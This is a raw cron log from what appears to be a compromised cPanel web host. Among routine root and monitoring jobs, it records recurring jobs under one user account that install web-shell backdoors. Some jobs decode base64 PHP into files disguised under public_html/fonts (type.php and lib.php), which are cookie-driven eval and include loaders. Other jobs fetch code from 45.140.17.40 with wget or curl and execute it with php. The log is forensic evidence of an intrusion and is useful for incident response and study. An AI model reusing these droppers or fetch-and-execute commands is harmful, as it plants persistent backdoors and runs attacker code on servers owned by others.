Sep 21 22:49:01 ip-184-168-122-23 CROND[30873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:49:01 ip-184-168-122-23 CROND[30878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:49:01 ip-184-168-122-23 CROND[30882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:49:01 ip-184-168-122-23 CROND[30883]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 21 22:50:01 ip-184-168-122-23 CROND[31059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:50:01 ip-184-168-122-23 CROND[31058]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 22:50:01 ip-184-168-122-23 CROND[31062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:50:01 ip-184-168-122-23 CROND[31064]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 22:50:01 ip-184-168-122-23 CROND[31065]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 22:50:01 ip-184-168-122-23 CROND[31066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:50:01 ip-184-168-122-23 CROND[31067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:50:01 ip-184-168-122-23 CROND[31069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:50:01 ip-184-168-122-23 CROND[31063]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 22:51:01 ip-184-168-122-23 CROND[31201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:51:01 ip-184-168-122-23 CROND[31203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:51:01 ip-184-168-122-23 CROND[31207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:51:01 ip-184-168-122-23 CROND[31206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:52:01 ip-184-168-122-23 CROND[31306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:52:01 ip-184-168-122-23 CROND[31308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:52:01 ip-184-168-122-23 CROND[31309]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:52:01 ip-184-168-122-23 CROND[31310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:52:01 ip-184-168-122-23 CROND[31311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:53:01 ip-184-168-122-23 CROND[31420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:53:01 ip-184-168-122-23 CROND[31421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:53:01 ip-184-168-122-23 CROND[31422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:53:01 ip-184-168-122-23 CROND[31424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:54:01 ip-184-168-122-23 CROND[31532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:54:01 ip-184-168-122-23 CROND[31536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:54:01 ip-184-168-122-23 CROND[31535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:54:01 ip-184-168-122-23 CROND[31537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:54:01 ip-184-168-122-23 CROND[31534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:55:01 ip-184-168-122-23 CROND[31732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:55:01 ip-184-168-122-23 CROND[31735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:55:01 ip-184-168-122-23 CROND[31737]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 22:55:01 ip-184-168-122-23 CROND[31734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:55:01 ip-184-168-122-23 CROND[31736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 22:55:01 ip-184-168-122-23 CROND[31739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:56:01 ip-184-168-122-23 CROND[31857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:56:01 ip-184-168-122-23 CROND[31859]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:56:01 ip-184-168-122-23 CROND[31860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:56:01 ip-184-168-122-23 CROND[31861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:56:01 ip-184-168-122-23 CROND[31862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:57:01 ip-184-168-122-23 CROND[31965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:57:01 ip-184-168-122-23 CROND[31967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:57:01 ip-184-168-122-23 CROND[31969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:57:01 ip-184-168-122-23 CROND[31971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:58:01 ip-184-168-122-23 CROND[32079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:58:01 ip-184-168-122-23 CROND[32081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:58:01 ip-184-168-122-23 CROND[32084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:58:01 ip-184-168-122-23 CROND[32086]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:58:01 ip-184-168-122-23 CROND[32083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:59:01 ip-184-168-122-23 CROND[32184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:59:01 ip-184-168-122-23 CROND[32186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:59:01 ip-184-168-122-23 CROND[32185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:59:01 ip-184-168-122-23 CROND[32188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:00:01 ip-184-168-122-23 CROND[32373]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 23:00:01 ip-184-168-122-23 CROND[32374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 23:00:01 ip-184-168-122-23 CROND[32379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 23:00:01 ip-184-168-122-23 CROND[32377]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 23:00:01 ip-184-168-122-23 CROND[32382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 23:00:01 ip-184-168-122-23 CROND[32383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 23:00:01 ip-184-168-122-23 CROND[32380]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 23:00:01 ip-184-168-122-23 CROND[32378]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 23:01:01 ip-184-168-122-23 CROND[32504]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32504]: starting 0anacron
Sep 21 23:01:01 ip-184-168-122-23 CROND[32512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
